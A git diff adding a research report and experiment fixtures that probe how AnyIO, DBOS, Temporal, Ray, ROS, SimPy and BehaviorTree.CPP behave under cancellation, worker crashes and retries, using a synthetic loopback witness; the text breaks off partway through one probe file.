+request exceeds capability or contextual limits. Deliberately non-interrupting +fixtures test the meaning of cancellation signals; they do not establish a +disadvantage of needing backend participation. Runtime responsibility for +requirements, supervision and settlement remains unchanged. + +The observations identify limits to manage in a composition. For example, DBOS +successfully returning an indeterminate domain result can be correct: RAE must +retain the uncertainty and decide the permitted next action. Likewise, duplicate +effects under configured recovery identify where repeat permission must be +enforced. These results do not by themselves reject either engine. + +The missing evidence is a complete cooperating runtime/backend interaction. +The [selected design](../../decisions/adrs/adr-113-reusable-execution-machinery.md) +names the next vertical slice and +its checks. Further investigation should resolve a specific design uncertainty; +no candidate is expected to remove every limitation. + +The declared federated workload changes the architectural recommendation, not +these measurements. No probe tested 15 tenants or the stated scenario scale. +Temporal's selected use rests on the fit of its distributed execution mechanisms; +capacity, isolation and the RAE integration still need their own evidence. + +## Environment and measurement + +AWS profile `catalyst-dev`, region `us-east-2`, one `t3.xlarge` with standard CPU +credits, Ubuntu 24.04 image `ami-00adec9774170bad2`, Python 3.12.3, and one encrypted +40-GiB gp3 root disk. A dedicated `172.31.240.0/24` subnet was created in the +default VPC. Systems Manager provided access; the security group had no inbound +rules and only outbound TCP 80/443. Existing default routes were reused without +modification. No NAT gateway, EIP, load balancer, bucket or production backend +was created. The host had IMDSv2 required and a temporary SSM-only instance role. + +Python versions: AnyIO 4.15.1, DBOS 3.0.0, Temporal SDK 1.33.0, Ray 2.58.0, +SimPy 4.1.2. Temporal's SDK started CLI 1.9.1 / server 1.32.0 with **in-memory +persistence**. ROS used Jazzy rclpy 7.1.12 and action tutorial interfaces 0.33.11; +BehaviorTree.CPP was 4.10.0, built with GNU C++ 13.3.0. The ROS base image was +`ros@sha256:c3706ef0a0aa45413c07803cf433602f543b22e45b4855f6fca955c2d8ecc4e8`. +Full Python/ROS package versions are retained in the evidence. Container-local +image builds added the documented packages; the base digest alone does not pin +every apt dependency. A complete supply-chain lock was not produced. + +Most probes send synthetic HTTP requests to a loopback service in a separate +process. That witness counts receipt separately from effect application and +continues after caller loss. It is outside the candidate worker but on the same +host: this tests a process/acknowledgement boundary, not network partitions or +independent machine failure. Its state is not crash-durable. The BehaviorTree +probe instead uses an independently running thread and atomic counter; it does +not claim the stronger separate-process witness boundary. + +Each candidate command had a host-side timeout, plus an SSM execution timeout. +Cloud lifecycle ownership had a two-hour deadline and teardown in `finally`; +the host also had a 150-minute shutdown/termination timer. Deadline expiry is a +cost/cleanup backstop, not a result or proof of backend cessation. The cleanup +record is retained separately in [cloud-cleanup.json](cloud-cleanup.json). + +## Observations and their limits + +| Probe | Observed result | What follows, and what does not | +| --- | --- | --- | +| AnyIO thread abandonment | Cancellation returned with zero effects observed; later the witness counted one effect. Caller process remained alive. | Waiting can be abandoned; the thread/remote work must not be classified as stopped from that return. | +| AnyIO cancellable process | Cancellation returned; the recorded caller PID no longer existed; the witness later counted one effect. | Local process termination was established in this run and still did not fence the dispatched external request. | +| AnyIO occupied capacity | A status callback sharing the sole occupied limiter expired at the chosen 100-ms bound. An independent limiter returned status before the effect. | Separate capacity is a useful mechanism. This does not test RAE HTTP admission, store locks, audit queues, CPU starvation or end-to-end bounded supervision. | +| DBOS unguarded recovery | Worker exited with code 73 after one effect but before step checkpoint. Restart recovered the workflow and produced a second effect; engine status was `SUCCESS`. | Recovery works; a non-idempotent unfinished step can repeat. It does not authorize that repetition under RAE rules. | +| DBOS experimental guard | Same crash boundary, but a retained invocation marker prevented the second external call. Returned value was `indeterminate-no-second-invocation`; DBOS status was still `SUCCESS`. | An application guard can prevent replay in this scenario. Engine success and RAE operation success cannot be equated. The marker is test scaffolding, not a complete admission/reconciliation protocol, durable power-loss proof, or multi-owner fence. | +| DBOS cancellation | Status became `CANCELLED` before the in-flight synchronous step's effect. The effect subsequently occurred; the following step did not execute. | Cancellation prevented further steps, not the already running effect. Preemptible async steps were not tested. | +| Temporal worker crash, two attempts allowed | First worker died after one effect. Replacement worker processed the retried activity; total effects became two and the workflow completed. | Durable dispatch survived worker loss with the service alive. This is configured retry, not an unavoidable behavior and not service crash-recovery evidence. | +| Temporal worker crash, one attempt allowed | Effect count remained one; workflow retrieval raised `WorkflowFailureError`. | Retry configuration prevented repetition. Failure status alone still did not describe the externally applied effect. | +| Temporal uncooperative cancellation | With `WAIT_CANCELLATION_COMPLETED`, no heartbeats, and a pending effect, the request did not stop work. The effect occurred and the workflow ended `COMPLETED`. | Cancellation request and final completion are distinct. This configuration is not evidence about all SDK activity types or cancellation policies. | +| Temporal cooperative cancellation | The driver waited for an actual heartbeat before requesting cancellation. Workflow ended `CANCELED`, with no synthetic effect invoked. | Heartbeat/cooperative interruption is useful when the activity participates. This zero-effect activity does not prove interruption after a remote effect was dispatched. | +| Ray configured actor restart/retry | `max_restarts=1`, `max_task_retries=1`: crash after effect led to actor replacement and two effects. | Reuse of actor recovery is real, but RAE must control repeat invocation. Ray actor defaults were not being tested. | +| Ray blocked regular actor | A ping on the same actor did not complete within the selected 100-ms observation. Killing that actor did not prevent the witness's later effect. | Same-mailbox control can queue behind work; actor death is not a downstream fence. Threaded/async actors and concurrency groups were not tested. | +| ROS accepted cancel | The action client observed one cancelling goal while effects were still zero. The deliberately non-interrupting server later applied the effect and reported terminal status 5 (`CANCELED`). | Protocol acknowledgement and server-declared terminal status are not independent effect evidence. Known residual effects are possible. This is not a defect claim against ROS. | +| ROS refused cancel | The callback rejected cancellation, the cancelling-goal list was empty, and the operation later reported status 4 (`SUCCEEDED`) with one effect. | Contextual refusal can be carried. In this run the response's numeric return code was zero in both cases: inspect the complete response, not that field alone. | +| SimPy time/interrupt | Virtual time remained zero while approximately 100 ms of apparatus time passed. An interrupt was processed at virtual time zero. A blocking callback held `step()` until explicitly released. | Cooperative virtual-time control can be reused; apparatus supervision needs independent progress. No multi-clock integration or restart model was tested. | +| BehaviorTree.CPP halt | Tree initially returned `RUNNING`; `haltTree()` invoked the action's halt hook once. The deliberately non-stopping hook returned before a background effect incremented the counter. | The hook supplies lifecycle control, not automatic interruption of arbitrary work. An application-specific stopping hook remains possible. | +| SQLite publication race | Competing success/cancel updates used one conditional transition and atomic audit transaction. One won; one terminal state and its matching audit persisted. A simulated lost acknowledgement after a separate commit was resolved by reopening and reading the committed row. | Demonstrates a small storage mechanism. It is not RAE's production store, an unbounded race proof, an injected disk failure or an external-effect fence. | + +The two race contenders were both admissible in the storage fixture. It does +not implement the preceding domain question of whether cancellation has enough +evidence to be admissible. Raw monotonic timestamps are host-relative event +coordinates, not portable restart timestamps. Reported durations are observations +on a burstable host, never latency guarantees or comparative benchmarks. + +## Verification and setup corrections + +Three witness unit tests establish distinct request/effect counts, independently +counted duplicate invocations, and an effect occurring after caller timeout. The +tests first failed because the witness implementation did not exist, then passed +locally and on the experiment host. Candidate scripts assert their specific +measurement expectations and fail if those observations differ. The final run +completed all seven candidates plus the publication probe, including a real +BehaviorTree.CPP compile and actual ROS action client/server exchanges. + +The initial DBOS probe incorrectly passed a `timeout` keyword to a polling +handle; its public call was corrected and the outer process watchdog retained. +The ROS-packaged BehaviorTree.CPP exports `behaviortree_cpp::behaviortree_cpp`, +not the initially assumed CMake target. That fixture was corrected. Neither +setup failure was treated as an architectural finding. The final run used a +fresh directory and fresh synthetic state. Worker code, witness instrumentation, +and final source hashes correspond to the retained evidence. + +## Outstanding evidence before any stronger claim + +No production RAE adapter was implemented. No real backend was interrupted. +Multi-host partitions, machine/store loss, credential handling through framework +checkpoints, tenant isolation, code/schema upgrade recovery, production service +operations, broad workload coverage and full HTTP/store/audit saturation remain +untested. No deployment-cost or throughput ranking follows from these probes. +They are sufficient to expose the selected semantic distinctions and inform the +architecture selection, not to certify its production realization. + +## Independent local recheck during delivery + +On 2026-09-23 the same source bytes were executed locally with Python 3.14.4, +AnyIO 4.15.1, SimPy 4.1.2, DBOS 3.0.0 and Temporal SDK 1.33.0. A fresh disposable +directory and virtual environment were used; each command had a 160-second +outer timeout. All three witness tests and the AnyIO, SimPy, DBOS, Temporal and +SQLite publication assertions passed. [local-recheck.json](local-recheck.json) +records commands, versions, source hashes and actual observations independently +of the earlier cloud run. Temporal again used CLI 1.9.1/server 1.32.0 with +in-memory persistence. Its worker fixture uses UnsandboxedWorkflowRunner for +this synthetic probe, not an isolation demonstration. No paid service or cloud +resource was used for the recheck. + +ROS, Ray and BehaviorTree.CPP were not rerun locally; their observations are the +original retained evidence. Neither run measured PostgreSQL crash persistence, +distributed ownership, tenant isolation or a real OT process. The probes expose +mechanism limits under named configurations; they do not choose a failure +response for an experiment, twin, IT or OT deployment. That response belongs to +the admitted contextual author policy, independently of technical retry safety. + +The delivery review identified an assertion gap in the Temporal collector: +`outcome()` records exceptions rather than failing, and zero effects alone can +also result from the cooperative fixture finishing normally. The added +`verify_temporal.py` entry point preserves the original source and validates +terminal status, result/error type and effect count on fresh output. Negative +controls first demonstrated that effect-only checks accepted four injected +timeouts and a cooperative completion without cancellation; all four regression +tests pass with the stronger verifier. A fresh live Temporal run also passed. +The `verified_temporal_followup` record in `local-recheck.json` binds that run to +its source hashes separately from both earlier evidence records. + +The publish hook classified the synthetic `dbos-r2-cancel` workflow identifier +as a generic API key. The repository scanner exception matches only that exact +value in `experiments/probe_dbos.py` under that one rule, preserving the original +source hash. A regression invokes the real scanner and verifies that a different +credential-shaped value and a different rule still trigger in the same file, +and that the fixture identifier still triggers outside that file. The test +failed before the exception and passes after it; no actual credential is used. diff --git a/docs/research/execution-architecture/experiments/CMakeLists.txt b/docs/research/execution-architecture/experiments/CMakeLists.txt new file mode 100644 index 000000000..56bc7d51c --- /dev/null +++ b/docs/research/execution-architecture/experiments/CMakeLists.txt @@ -0,0 +1,6 @@ +cmake_minimum_required(VERSION 3.16) +project(rae1350_bt_probe LANGUAGES CXX) +find_package(behaviortree_cpp REQUIRED) +add_executable(probe_bt probe_bt.cpp) +target_compile_features(probe_bt PRIVATE cxx_std_17) +target_link_libraries(probe_bt PRIVATE behaviortree_cpp::behaviortree_cpp) diff --git a/docs/research/execution-architecture/experiments/README.md b/docs/research/execution-architecture/experiments/README.md new file mode 100644 index 000000000..3ff8968f2 --- /dev/null +++ b/docs/research/execution-architecture/experiments/README.md @@ -0,0 +1,76 @@ +# Running the bounded probes + +These files are non-production experiment fixtures. They use only synthetic +effects and intentionally crash their own worker processes. Use a fresh, +disposable working directory: `.probe-state/` and `results/` are generated there. +The seven candidates are not production dependencies of RAE. + +## Python probes + +Use Python 3.12 with the versions in [evidence.json](../evidence.json). The tested +direct dependencies are AnyIO 4.15.1, DBOS 3.0.0, Temporal SDK 1.33.0, Ray 2.58.0 +and SimPy 4.1.2. Run each probe in a fresh copied source directory or preserve +its initial empty `.probe-state/`; reusing crash markers invalidates the intended +first-attempt boundary. All programs should be supervised by an outer timeout. + +```sh +python -m unittest test_witness +timeout 150 python probe_workers.py +timeout 150 python probe_simpy.py +timeout 150 python probe_dbos.py +timeout 150 python probe_ray.py +timeout 150 python verify_temporal.py +timeout 15 python probe_publication.py +``` + +The Temporal probe starts a local development service through its SDK. Initial +startup downloads its development binary; record the selected server version. +This run used CLI 1.9.1/server 1.32.0 with in-memory persistence. Only worker +process loss is injected. The SQLite probe is a separate toy transaction model, +not the production RAE store. DBOS uses its own SQLite files; its guard is a +synthetic retained claim marker owned by the experiment. + +`verify_temporal.py` runs the original Temporal probe, then checks its expected +terminal statuses and result/error types as well as effect counts. Use this +entry point for new runs: the original collector alone can absorb a timeout or +record zero effects without establishing cooperative cancellation. The original +thirteen sources remain unchanged for historical hash reproducibility. +From the repository root, its negative-control regressions run with: + +```sh +python3 -m unittest discover -s docs/research/execution-architecture/experiments -p test_temporal_verification.py -v +``` + +## ROS and BehaviorTree.CPP + +Use the ROS Jazzy environment and package versions in the report. Install the +action tutorial interfaces and BehaviorTree.CPP development package along with +CMake and a C++17 compiler. Source the distribution's setup, restrict discovery +to localhost, then run: + +```sh +timeout 45 python3 probe_ros.py +cmake -S . -B build +cmake --build build -j2 +timeout 10 build/probe_bt +``` + +The tested ROS CMake export is `behaviortree_cpp::behaviortree_cpp`. The behavior +tree action intentionally leaves its synthetic background thread running when +halted; this isolates the contract of the halt hook from application-provided +stopping logic. The ROS action server likewise deliberately does not interrupt +the already sent synthetic request. Neither is a production backend example. + +## Evidence handling + +Python probes write JSON records under `results/`; the C++ probe emits JSON on +stdout. Preserve exact source hashes, package versions and the external witness +observations before terminating the disposable host. Record failed setup attempts +separately from candidate behavior. Never treat a command's successful exit alone +as proof of cancellation, crash durability or exactly-once external effects. + +Cloud execution used a dedicated, tagged stack with no inbound network rules, +temporary SSM management identity, encrypted delete-on-termination storage, and +bounded teardown. The [report](../experiment-report.md) and cleanup evidence +describe the executed environment; running these files does not provision AWS +resources automatically. diff --git a/docs/research/execution-architecture/experiments/dbos_worker.py b/docs/research/execution-architecture/experiments/dbos_worker.py new file mode 100644 index 000000000..e24af0320 --- /dev/null +++ b/docs/research/execution-architecture/experiments/dbos_worker.py @@ -0,0 +1,100 @@ +"""Disposable DBOS worker; deliberately crashes after its synthetic effect.""" + +import json +import os +from pathlib import Path +import sys +import time + +from dbos import DBOS, SetWorkflowID + +from witness import effect, observe, wait_for + + +def durable_marker(path): + with path.open("x") as stream: + stream.write("claimed\n") + stream.flush() + os.fsync(stream.fileno()) + + +@DBOS.step() +def invoke(key, url, guarded, crash, delay): + root = Path(".probe-state") + claim = root / (key + "-claim") + if guarded: + try: + durable_marker(claim) + except FileExistsError: + return "indeterminate-no-second-invocation" + effect(url, key, delay=delay) + crash_marker = root / (key + "-crashed") + if crash and not crash_marker.exists(): + durable_marker(crash_marker) + os._exit(73) + return "effect-returned" + + +@DBOS.step() +def following_step(key): + Path(".probe-state", key + "-following").touch() + + +@DBOS.workflow() +def operation(key, url, guarded, crash, delay): + result = invoke(key, url, guarded, crash, delay) + following_step(key) + return result + + +def main(): + phase, key, url, guard = sys.argv[1:] + Path(".probe-state").mkdir(exist_ok=True) + DBOS( + config={ + "name": "rae1350", + "system_database_url": f"sqlite:///.probe-state/{key}.sqlite", + "run_admin_server": False, + "log_level": "ERROR", + } + ) + DBOS.launch() + try: + if phase == "recover": + handle = DBOS.retrieve_workflow(key) + else: + with SetWorkflowID(key): + handle = DBOS.start_workflow( + operation, + key, + url, + guard == "guarded", + phase != "cancel", + 0.8 if phase == "cancel" else 0, + ) + if phase == "cancel": + wait_for(url, key) + before = observe(url, key) + DBOS.cancel_workflow(key) + status = DBOS.get_workflow_status(key).status + time.sleep(1.1) + result = { + "at_cancel": before, + "status_after_cancel": status, + "later": observe(url, key), + "following_step_executed": Path( + ".probe-state", key + "-following" + ).exists(), + } + else: + result = { + "result": handle.get_result(), + "status": DBOS.get_workflow_status(key).status, + } + Path("results", key + "-worker.json").write_text(json.dumps(result, indent=2)) + finally: + DBOS.destroy() + + +if __name__ == "__main__": + main() diff --git a/docs/research/execution-architecture/experiments/probe_bt.cpp b/docs/research/execution-architecture/experiments/probe_bt.cpp new file mode 100644 index 000000000..0735c928a --- /dev/null +++ b/docs/research/execution-architecture/experiments/probe_bt.cpp @@ -0,0 +1,48 @@ +// Test fixture: halting the tree does not stop an independently running effect. +#include +#include +#include +#include +#include + +std::atomic effects{0}; +std::atomic halts{0}; +std::thread worker; + +class Action : public BT::StatefulActionNode { + public: + Action(const std::string& name, const BT::NodeConfig& config) + : BT::StatefulActionNode(name, config) {} + static BT::PortsList providedPorts() { return {}; } + BT::NodeStatus onStart() override { + worker = std::thread([] { + std::this_thread::sleep_for(std::chrono::milliseconds(500)); + effects++; + }); + return BT::NodeStatus::RUNNING; + } + BT::NodeStatus onRunning() override { + return effects.load() ? BT::NodeStatus::SUCCESS : BT::NodeStatus::RUNNING; + } + void onHalted() override { halts++; } +}; + +int main() { + BT::BehaviorTreeFactory factory; + factory.registerNodeType("Effect"); + auto tree = factory.createTreeFromText( + R"()"); + auto status = tree.tickOnce(); + auto start = std::chrono::steady_clock::now(); + tree.haltTree(); + auto elapsed = std::chrono::duration(std::chrono::steady_clock::now() - start).count(); + const int at_halt = effects.load(); + worker.join(); + std::cout << "{\"probe\":\"behaviortree\",\"initial_running\":" + << (status == BT::NodeStatus::RUNNING ? "true" : "false") + << ",\"halt_callback_count\":" << halts.load() + << ",\"effects_at_halt\":" << at_halt + << ",\"effects_after_halt\":" << effects.load() + << ",\"halt_return_seconds\":" << elapsed << "}\n"; + return (halts == 1 && at_halt == 0 && effects == 1) ? 0 : 1; +} diff --git a/docs/research/execution-architecture/experiments/probe_dbos.py b/docs/research/execution-architecture/experiments/probe_dbos.py new file mode 100644 index 000000000..be8d25d71 --- /dev/null +++ b/docs/research/execution-architecture/experiments/probe_dbos.py @@ -0,0 +1,50 @@ +import json +from pathlib import Path +import subprocess +import sys + +from witness import Witness, observe, record + + +def worker(phase, key, url, guard): + return subprocess.run( + [sys.executable, "dbos_worker.py", phase, key, url, guard], + capture_output=True, + text=True, + timeout=45, + ) + + +def main(): + Path("results").mkdir(exist_ok=True) + results = {} + with Witness() as witness: + for guard in ("unguarded", "guarded"): + key = "dbos-r2-" + guard + first = worker("start", key, witness.url, guard) + assert first.returncode == 73, first.stderr + after_crash = observe(witness.url, key) + second = worker("recover", key, witness.url, guard) + assert second.returncode == 0, second.stderr + results[guard] = { + "worker_crash_exit": first.returncode, + "after_crash": after_crash, + "after_recovery": observe(witness.url, key), + "worker": json.loads(Path("results", key + "-worker.json").read_text()), + } + assert results[guard]["after_recovery"]["effects"] == ( + 2 if guard == "unguarded" else 1 + ) + key = "dbos-r2-cancel" + cancellation = worker("cancel", key, witness.url, "unguarded") + assert cancellation.returncode == 0, cancellation.stderr + results["cancellation"] = json.loads( + Path("results", key + "-worker.json").read_text() + ) + assert results["cancellation"]["later"]["effects"] == 1 + assert not results["cancellation"]["following_step_executed"] + record("dbos", results) + + +if __name__ == "__main__": + main() diff --git a/docs/research/execution-architecture/experiments/probe_publication.py b/docs/research/execution-architecture/experiments/probe_publication.py new file mode 100644 index 000000000..fb6296e5f --- /dev/null +++ b/docs/research/execution-architecture/experiments/probe_publication.py @@ -0,0 +1,81 @@ +"""Small SQLite boundary experiment, NOT a production RAE refinement proof.""" + +from pathlib import Path +import sqlite3 +import threading + +from witness import record + + +def main(): + Path(".probe-state").mkdir(exist_ok=True) + path = ".probe-state/publication.sqlite" + connection = sqlite3.connect(path) + connection.executescript(""" + PRAGMA journal_mode=WAL; + CREATE TABLE outcome (id INTEGER PRIMARY KEY, state TEXT, revision INTEGER); + CREATE TABLE audit (state TEXT); + INSERT INTO outcome VALUES (1, 'RUNNING', 0); + """) + connection.close() + barrier = threading.Barrier(3) + cuts = [] + lock = threading.Lock() + + def settle(state): + db = sqlite3.connect(path, timeout=3) + barrier.wait(timeout=3) + with db: + cursor = db.execute( + "UPDATE outcome SET state=?,revision=revision+1 WHERE id=1 AND state='RUNNING' AND revision=0", + (state,), + ) + if cursor.rowcount: + db.execute("INSERT INTO audit VALUES (?)", (state,)) + with lock: + cuts.append({"requested": state, "won": cursor.rowcount == 1}) + db.close() + + threads = [ + threading.Thread(target=settle, args=(state,)) + for state in ("SUCCEEDED", "CANCELLED") + ] + for thread in threads: + thread.start() + barrier.wait(timeout=3) + for thread in threads: + thread.join(5) + assert not thread.is_alive() + db = sqlite3.connect(path) + state = db.execute("SELECT state,revision FROM outcome").fetchone() + audit = db.execute("SELECT state FROM audit").fetchall() + assert sum(cut["won"] for cut in cuts) == 1 + assert audit == [(state[0],)] and state[1] == 1 + # A lost acknowledgement after commit must be resolved from persisted state. + try: + with db: + db.execute("INSERT INTO outcome VALUES (2,'SUCCEEDED',1)") + db.execute("INSERT INTO audit VALUES ('ACK-LOST-SUCCESS')") + raise TimeoutError("synthetic acknowledgement loss AFTER durable commit") + except TimeoutError: + db.close() + reopened = sqlite3.connect(path) + readback = reopened.execute( + "SELECT state,revision FROM outcome WHERE id=2" + ).fetchone() + reopened.close() + assert readback == ("SUCCEEDED", 1) + record( + "publication", + { + "race": cuts, + "terminal": state, + "audit": audit, + "lost_ack_readback": readback, + "scope": "SQLite toy transaction boundary; no external fencing claim", + }, + ) + + +if __name__ == "__main__": + main() diff --git a/docs/research/execution-architecture/experiments/probe_ray.py b/docs/research/execution-architecture/experiments/probe_ray.py new file mode 100644 index 000000000..31623ef07 --- /dev/null +++ b/docs/research/execution-architecture/experiments/probe_ray.py @@ -0,0 +1,61 @@ +import os +from pathlib import Path +import time + +import ray + +from witness import Witness, effect, observe, record, wait_for + + +@ray.remote(max_restarts=1, max_task_retries=1, num_cpus=1) +class Worker: + def __init__(self, marker_dir): + self.marker_dir = marker_dir + + def execute(self, url, key, crash=False, delay=0): + effect(url, key, delay=delay) + marker = Path(self.marker_dir, key) + if crash and not marker.exists(): + marker.touch() + os._exit(73) + return "completed" + + def ping(self): + return "responsive" + + +def main(): + Path(".probe-state").mkdir(exist_ok=True) + with Witness() as witness: + ray.init(num_cpus=2, include_dashboard=False, logging_level="ERROR") + try: + worker = Worker.remote(str(Path(".probe-state").resolve())) + result = ray.get( + worker.execute.remote(witness.url, "ray-retry", True), timeout=45 + ) + retry = observe(witness.url, "ray-retry") + assert retry["effects"] == 2 + worker.execute.remote(witness.url, "ray-kill", False, 1) + wait_for(witness.url, "ray-kill") + ping = worker.ping.remote() + ready, _ = ray.wait([ping], timeout=0.1) + at_kill = observe(witness.url, "ray-kill") + ray.kill(worker, no_restart=True) + time.sleep(1.2) + after = observe(witness.url, "ray-kill") + assert after["effects"] == 1 + record( + "ray", + { + "configured_retry": {"result": result, "witness": retry}, + "control_on_same_actor_blocked": not ready, + "at_kill": at_kill, + "after_kill": after, + }, + ) + finally: + ray.shutdown() + + +if __name__ == "__main__": + main() diff --git a/docs/research/execution-architecture/experiments/probe_ros.py b/docs/research/execution-architecture/experiments/probe_ros.py new file mode 100644 index 000000000..7fd5a3a76 --- /dev/null +++ b/docs/research/execution-architecture/experiments/probe_ros.py @@ -0,0 +1,97 @@ +"""Actual ROS action messages against a deliberately non-interrupting server.""" + +import threading +import time + +from action_tutorials_interfaces.action import Fibonacci +import rclpy +from rclpy.action import ActionClient, ActionServer, CancelResponse, GoalResponse +from rclpy.callback_groups import ReentrantCallbackGroup +from rclpy.executors import MultiThreadedExecutor +from rclpy.node import Node + +from witness import Witness, effect, observe, record, wait_for + + +def finish(future, timeout=10): + end = time.monotonic() + timeout + while not future.done(): + if time.monotonic() >= end: + raise TimeoutError("ROS future") + time.sleep(0.005) + return future.result() + + +def main(): + with Witness() as witness: + rclpy.init() + node = Node("rae1350_probe") + group = ReentrantCallbackGroup() + results = {} + + def execute(goal): + key = "ros-accept" if goal.request.order == 1 else "ros-refuse" + effect(witness.url, key, delay=0.8) + result = Fibonacci.Result() + result.sequence = [1] + if goal.is_cancel_requested: + goal.canceled() + else: + goal.succeed() + return result + + server = ActionServer( + node, + Fibonacci, + "rae1350", + execute, + goal_callback=lambda _goal: GoalResponse.ACCEPT, + cancel_callback=lambda goal: ( + CancelResponse.ACCEPT + if goal.request.order == 1 + else CancelResponse.REJECT + ), + callback_group=group, + ) + client = ActionClient(node, Fibonacci, "rae1350", callback_group=group) + executor = MultiThreadedExecutor(num_threads=4) + executor.add_node(node) + thread = threading.Thread(target=executor.spin) + thread.start() + try: + assert client.wait_for_server(timeout_sec=10) + for order, key in ((1, "ros-accept"), (2, "ros-refuse")): + goal = Fibonacci.Goal() + goal.order = order + handle = finish(client.send_goal_async(goal)) + assert handle.accepted + wait_for(witness.url, key) + before = observe(witness.url, key) + start = time.monotonic() + cancel = finish(handle.cancel_goal_async()) + elapsed = time.monotonic() - start + at_ack = observe(witness.url, key) + result = finish(handle.get_result_async()) + results[key] = { + "at_request": before, + "at_cancel_reply": at_ack, + "cancel_reply_seconds": elapsed, + "cancel_return_code": cancel.return_code, + "goals_canceling": len(cancel.goals_canceling), + "terminal_status": result.status, + "later": observe(witness.url, key), + } + assert results[key]["later"]["effects"] == 1 + assert len(cancel.goals_canceling) == (1 if order == 1 else 0) + finally: + executor.shutdown(timeout_sec=5) + thread.join(5) + client.destroy() + server.destroy() + node.destroy_node() + rclpy.shutdown() + record("ros", results) + + +if __name__ == "__main__": + main() diff --git a/docs/research/execution-architecture/experiments/probe_simpy.py b/docs/research/execution-architecture/experiments/probe_simpy.py new file mode 100644 index 000000000..6262e33cc --- /dev/null +++ b/docs/research/execution-architecture/experiments/probe_simpy.py @@ -0,0 +1,59 @@ +"""Virtual-time pause, cooperative interrupt, and a blocking event callback.""" + +import threading +import time + +import simpy + +from witness import record + + +def main(): + env = simpy.Environment() + log = [] + + def simulation(): + try: + yield env.timeout(10) + log.append(["finished", env.now]) + except simpy.Interrupt: + log.append(["interrupted", env.now]) + + task = env.process(simulation()) + env.step() + start = time.monotonic() + time.sleep(0.1) # Simulation deliberately not advanced. + elapsed = time.monotonic() - start + paused_time = env.now + task.interrupt("experiment") + env.step() + blocking = simpy.Environment() + callback_started = threading.Event() + callback_released = threading.Event() + + def blocked(): + callback_started.set() + callback_released.wait(2) + yield blocking.timeout(1) + + blocking.process(blocked()) + thread = threading.Thread(target=blocking.step) + thread.start() + assert callback_started.wait(1) + callback_blocks_step = thread.is_alive() + callback_released.set() + thread.join(3) + assert paused_time == 0 and log == [["interrupted", 0]] + record( + "simpy", + { + "paused_virtual_time": paused_time, + "apparatus_elapsed_seconds": elapsed, + "interrupt_trace": log, + "blocking_callback_holds_step": callback_blocks_step, + }, + ) + + +if __name__ == "__main__": + main() diff --git a/docs/research/execution-architecture/experiments/probe_temporal.py b/docs/research/execution-architecture/experiments/probe_temporal.py new file mode 100644 index 000000000..8e027b8e7 --- /dev/null +++ b/docs/research/execution-architecture/experiments/probe_temporal.py @@ -0,0 +1,141 @@ +import asyncio +from datetime import timedelta +from pathlib import Path +import subprocess +import sys +import time + +from temporalio.testing import WorkflowEnvironment + +from temporal_worker import Operation +from witness import Witness, observe, record, wait_for + + +def start_worker(address, key): + log = Path("results", key + ".log").open("w") + process = subprocess.Popen( + [sys.executable, "temporal_worker.py", address], stdout=log, stderr=log + ) + log.close() + return process + + +def stop_worker(process): + if process.poll() is None: + process.terminate() + try: + process.wait(timeout=5) + except subprocess.TimeoutExpired: + process.kill() + process.wait(timeout=5) + + +async def outcome(handle): + try: + return {"result": await asyncio.wait_for(handle.result(), timeout=30)} + except Exception as exc: + return {"error_type": type(exc).__name__} + + +async def main(): + Path(".probe-state").mkdir(exist_ok=True) + Path("results").mkdir(exist_ok=True) + results = {} + with Witness() as witness: + async with await WorkflowEnvironment.start_local() as env: + address = env.client.service_client.config.target_host + for attempts in (2, 1): + key = f"temporal-crash-{attempts}" + spec = { + "key": key, + "url": witness.url, + "mode": "crash", + "attempts": attempts, + } + process = start_worker(address, key + "-first") + try: + handle = await env.client.start_workflow( + Operation.run, + spec, + id=key, + task_queue="rae1350", + execution_timeout=timedelta(seconds=35), + ) + await asyncio.to_thread( + wait_for, witness.url, key, "effects", 1, 30 + ) + exit_code = await asyncio.to_thread(process.wait, 10) + assert exit_code == 73 + after_crash = observe(witness.url, key) + finally: + stop_worker(process) + process = start_worker(address, key + "-second") + try: + result = await outcome(handle) + results[key] = { + "worker_crash_exit": exit_code, + "after_crash": after_crash, + "after_recovery": observe(witness.url, key), + **result, + } + assert results[key]["after_recovery"]["effects"] == attempts + finally: + stop_worker(process) + for mode in ("uncooperative", "cooperative"): + key = "temporal-cancel-" + mode + process = start_worker(address, key) + try: + spec = { + "key": key, + "url": witness.url, + "mode": mode, + "attempts": 1, + "delay": 0.8, + } + handle = await env.client.start_workflow( + Operation.run, + spec, + id=key, + task_queue="rae1350", + execution_timeout=timedelta(seconds=15), + ) + if mode == "uncooperative": + await asyncio.to_thread( + wait_for, witness.url, key, "requests", 1, 30 + ) + else: + # Wait for an actual heartbeat, rather than timing worker startup. + end = time.monotonic() + 20 + while time.monotonic() < end: + desc = await handle.describe() + if any( + a.HasField("last_heartbeat_time") + for a in desc.raw_description.pending_activities + ): + break + await asyncio.sleep(0.1) + else: + raise TimeoutError("cooperative activity heartbeat") + before = observe(witness.url, key) + start = time.monotonic() + await handle.cancel() + disposition = await outcome(handle) + elapsed = time.monotonic() - start + await asyncio.sleep(1) + results[key] = { + "at_cancel": before, + "later": observe(witness.url, key), + "settlement_seconds": elapsed, + "workflow_status": (await handle.describe()).status.name, + **disposition, + } + assert results[key]["later"]["effects"] == ( + 1 if mode == "uncooperative" else 0 + ) + finally: + stop_worker(process) + record("temporal", results) + + +if __name__ == "__main__": + asyncio.run(main()) diff --git a/docs/research/execution-architecture/experiments/probe_workers.py b/docs/research/execution-architecture/experiments/probe_workers.py new file mode 100644 index 000000000..4152edf6f --- /dev/null +++ b/docs/research/execution-architecture/experiments/probe_workers.py @@ -0,0 +1,88 @@ +"""AnyIO thread/process cancellation and occupied execution capacity.""" + +import functools +import os +import time + +import anyio +from anyio import to_process + +from witness import Witness, effect, observe, record, wait_for + + +async def run_case(url, kind): + key = "anyio-" + kind + limiter = anyio.CapacityLimiter(1) + measurement = {} + scope = anyio.CancelScope() + + async def worker(): + with scope: + if kind == "thread": + await anyio.to_thread.run_sync( + functools.partial(effect, url, key, delay=0.7), + abandon_on_cancel=True, + limiter=limiter, + ) + else: + await to_process.run_sync( + effect, url, key, 0.7, cancellable=True, limiter=limiter + ) + + async with anyio.create_task_group() as group: + group.start_soon(worker) + # Witness reads use independent control capacity, not the occupied limiter. + await anyio.to_thread.run_sync(wait_for, url, key) + start = time.monotonic() + measurement["at_cancel"] = observe(url, key) + scope.cancel() + measurement["local_cancel_return_seconds"] = time.monotonic() - start + measurement["after_local_cancel"] = observe(url, key) + pid = measurement["after_local_cancel"]["caller_pids"][0] + try: + os.kill(pid, 0) + measurement["caller_process_alive_after_cancel"] 